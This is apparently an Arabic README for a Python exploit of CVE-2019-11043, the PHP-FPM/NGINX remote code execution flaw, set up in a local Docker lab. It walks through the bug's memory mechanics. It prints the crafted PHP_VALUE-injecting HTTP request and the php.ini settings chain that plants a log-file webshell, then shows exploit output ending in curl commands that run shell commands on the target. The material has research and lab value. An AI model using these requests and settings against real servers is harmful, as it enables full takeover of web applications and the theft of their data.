
استغلال Python داخل Docker لثغرة CVE-2019-11043، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في PHP-FPM ضمن تهيئات NGINX. يتضمن الإعداد والاستخدام والتحليل المفصّل.
تنفيذ بايثون لاستغلال CVE-2019-11043
الاستغلال المسجل تحت CVE-2019-11043 يستغل خللاً في تنفيذ PHP-FPM بالاشتراك مع خادم NGINX. في تكوينات معينة، يؤدي تعبير منتظم في مسار FastCGI path_info إلى كتابة FPM بعد المخازن المؤقتة المخصصة في المساحة المحجوزة لبيانات بروتوكول FastCGI. ونتيجة لذلك، قد يتمكن مستخدم الويب من تنفيذ كود عن بُعد. يوضح الجدول التالي تقييم خطورة الاستغلال وفقًا لنظام تسجيل الثغرات المشترك (CVSS).
| المقياس | القيمة |
|---|
| درجة التأثير | 5.9 |
| الدرجة الأساسية | 9.8 |
| الخطورة | حرجة |
| متجه الوصول | شبكة |
| السرية | عالية |
| السلامة | عالية |
| التوفر | عالية |
صور Docker:
بايثون:
يلزم تثبيت Docker و docker-compose لتشغيل المشروع.
بتشغيل الأمر التالي من الدليل الجذر للمشروع، سيتم تنزيل جميع صور Docker المطلوبة وبدء الحاويات بالترتيب الصحيح:
docker-compose up
لتشغيل الإعداد كخلفية، نفذ الأمر التالي:
docker-compose up -d
لإيقاف تشغيل خلفي، نفذ الأمر التالي:
docker-compose down
مثال
# docker-compose up -d
Creating php ... done
Creating nginx ... done
# python3 exploit.py --target http://localhost:11043/index.php
🚀🚀🚀 Starting...
? Requesting target to find qsl candidates.
[Response] Status sode is 502 for QSL 1761. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1762. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1763. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1764. Meets criteria and added as candidate
[Response] Status sode is 502 for QSL 1765. Meets criteria and added as candidate
Post processed QSL candidate(s): 1751, 1752, 1753, 1754, 1755, 1756, 1757, 1758, 1759, 1760, 1761, 1762, 1763, 1764, 1765
⚙️ Testing found candidates
[Test] QSL Candidate: 1751
[Test] QSL Candidate: 1752
[Test] QSL Candidate: 1753
[Test] QSL Candidate: 1754
[Test] QSL Candidate: 1755
💣 Target seems vulnerable with attack parameters: (QSL:1755/HVL:8): PHPSESSID=b83281b19399d7725091ad4b2b20e530; path=/
✅ Success: Remote Code Execution exploit successfully deployed!
You should be able to run commands using:
🌍 curl http://localhost:11043/index.php?a=bin/ls+/
or
🌍 curl http://localhost:11043/index.php?a=%0asleep+5%0a+/
تم العثور على هذه الثغرة خلال جولة التأهيل لمسابقة Real World CTF 2019، عندما اكتشف أندرو داناو، باحث أمني، أن إرسال حرف التحكم في السطر الجديد %0A يؤدي إلى استثناء في كود الخادم.
يمكن كسر التعبير المنتظم في توجيه fastcgi_split_path_info باستخدام حرف السطر الجديد (في شكله المشفر %0A). يؤدي التعبير المنتظم المكسور بعد ذلك إلى PATH_INFO فارغ، مما يؤدي إلى تشغيل الخلل.
بما أن env_path_info هو عنوان المتغير path_info، و path_info هو 0، فإن pilen هو أيضًا 0. slen هو طول عنوان URL المطلوب.

باستخدام طول مختار بعناية لمسار URL وسلسلة الاستعلام، يمكن للمهاجم جعل path_info يشير بدقة إلى البايت الأول من بنية _fcgi_data_seg. وضع الصفر فيه يحرك حقل char* pos للخلف، ويؤدي FCGI_PUTENV التالي إلى الكتابة فوق بعض البيانات (بما في ذلك متغيرات fast cgi الأخرى) بمسار السكريبت. باستخدام هذه التقنية، تسمح الثغرة بإنشاء متغير FCGI PHP_VALUE مزيف، ثم استخدام سلسلة من قيم التكوين المختارة بعناية للحصول على تنفيذ الكود.

int ptlen = strlen(pt);
int slen = len - ptlen;
int len = script_path_translated_len;
len هو طول مسار url
http://localhost:11043/index.php/TUD%0aNetSec.php/var/www/html/index.php/TUD\nNetSec.phpptlen هو طول المحتوى، قبل أول شرطة مائلة في مسار url
http://localhost:11043/index.php/TUD%0aNetSec.phppt هو /var/www/html/index.phpالفرق بين المتغيرين "len" و "ptlen" هو طول المسار المحدد في url. نظرًا لأنه يمكن التحكم في مسار هذين المتغيرين، يمكن أيضًا التحكم في المتغير path_info.
نظرًا لأن المسار قابل للتحكم، يمكننا تعيين قيمة أي عنوان إلى الصفر (السطر 1222). من خلال تعيين قيمة العنوان المستهدف إلى الصفر، يمكننا التحكم في char* pos من بنية _fcgi_data_seg إلى الصفر. بهذه الطريقة، نستغل تدفقًا سفليًا للمخزن المؤقت ونكون قادرين على كتابة المتغيرات العامة في مساحة الذاكرة الصحيحة.
تتم مقارنة التجزئة والطول قبل المفاتيح. من خلال اختيار الرؤوس والمفاتيح الصحيحة بعناية، نكون قادرين على الإضافة باستخدام الرؤوس. وفقًا لنتائج neex، فإن السلسلة "ebut"، التي تصبح HTTP_EBUT لها نفس الطول وقيمة FCGI_HASH مثل PHP_VALUE. وبالتالي، إرسال طلب GET إلى الخادم مشابه لـ
GET /index.php/PHP_VALUE%0Asession_start=1;;;
EBUT: tudda nwsec
يصبح الرأس HTTP_EBUT هو PHP_VALUE والقيمة session_start=1.
تقدم القائمة التالية المتطلبات الأساسية اللازمة التي يجب استيفاؤها لشن الهجوم.
في الخطوة الأولى، يجب علينا إيجاد طول سلسلة استعلام يؤدي فيه حرف التحكم في السطر الجديد %0A إلى استثناء في كود الخادم، بحيث يستجيب الخادم برمز خطأ HTTP > 500. بناءً على هذه المعلومات، يمكننا الآن محاولة كتابة PHP_VALUE والتحكم في محتوياتها. في البداية، نحاول إعداد جلسة. إذا نجح ذلك، نكون على علم بضعف الخادم. في هذه المرحلة، نعلم أننا قادرون على التحكم في أي متغيرات عامة في PHP.
باستخدام الجلسة المنشأة مسبقًا للخادم، نستبدل وننشئ المتطلبات الأساسية لإعدادات الخادم للسماح بتنفيذ الكود عن بُعد. يقوم مؤلفو الاستغلال بإعداد مصفوفة من إعدادات php الخاصة. يقوم بتمكين التضمين التلقائي، وتعيين المسار إلى /tmp، وتعيين عنوان ملف السجل إلى /tmp/a، كما يكتب الحمولة في ملف السجل. أخيرًا، سيقوم ملف PHP بتضمين ملف سجل تلقائيًا لإنشاء باب خلفي.
< GET /index.php/PHP_VALUE%0Asession.auto_start=1?TUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUDTUD HTTP/1.1
< Host: localhost:11043
< User-Agent: CVE-2019-11043
< Accept-Encoding: gzip, deflate
< Accept: */*
< Connection: keep-alive
< TUD: AAAAAAAAAAAAAAAAA
< Ebut: tudda nwsec
<
> HTTP/1.1 200 OK
> Server: nginx/1.17.10
> Date: Tue, 19 May 2020 07:38:58 GMT
> Content-Type: text/html; charset=UTF-8
> Transfer-Encoding: chunked
> Connection: keep-alive
>
<html>
<head>
<title>Exploit PHP-FPM as proposed in CVE-2019-11043</title>
</head>
<body>
<p>Challenge PHP with nginx + php-fpm configurations.</p> </body>
</html>
سلسلة خيارات php.ini التي تجعل تنفيذ الكود عن بُعد ممكنًا:
php_settings = [
"short_open_tag=1;;;;;;;", # فتح علامة php القصيرة
"html_errors=0;;;;;;;;;;", # إيقاف علامات HTML في رسالة الخطأ
"include_path=/tmp;;;;;;", # مسار التضمين
"auto_prepend_file=a;;;;", # يحدد الملفات التي يتم تضمينها تلقائيًا قبل تنفيذ السكريبت، مشابه لـ require().
"log_errors=1;;;;;;;;;;;", # تمكين تسجيل الأخطاء
"error_reporting=2;;;;;;", # تحديد مستوى الخطأ
"error_log=/tmp/a;;;;;;;", # ملف تسجيل الأخطاء
"extension_dir=%22%3C%3F=%60%22;;;", # تحديد دليل تحميل الإضافة
"extension=%22$_GET%5Ba%5D%60%3F%3E%22", # تحديد الإضافة المراد تحميلها
]
ملاحظة: تُستخدم الفواصل المنقوطة لملء مساحة الذاكرة، بحيث يصبح PHP_VALUE\nauto_prepend_file=a;;;; 34 بايت وهو الطول الثابت لـ PATH_INFO. وبذلك نضمن كتابة جميع الإعدادات بشكل صحيح في مساحة الذاكرة.
يوفر PHP الإطار للعديد من مواقع الويب وتطبيقات الويب الشهيرة. نظرًا لأن استخدام خوادم الويب المبنية على NGINX مع PHP 7 واسع الانتشار، تم تصنيف هذه الثغرة على أنها حرجة. بالإضافة إلى ذلك، من السهل نسبيًا تنفيذها وتحقق الاستمرارية بمجرد إساءة استخدامها. نظرًا لأن الاستغلال الناجح لـ CVE-2019-11043 يمكن أن يؤدي إلى تنفيذ كود عن بُعد، فقد يسمح للمخترقين ومهددي الويب بالسيطرة على تطبيق الويب.
يجب أخذ الاستغلال على محمل الجد على الرغم من حقيقة أن هذه الثغرة تقتصر على تكوينات معينة لـ NGINX؛ إعداد NGINX الافتراضي لا يعاني من هذه المشكلة.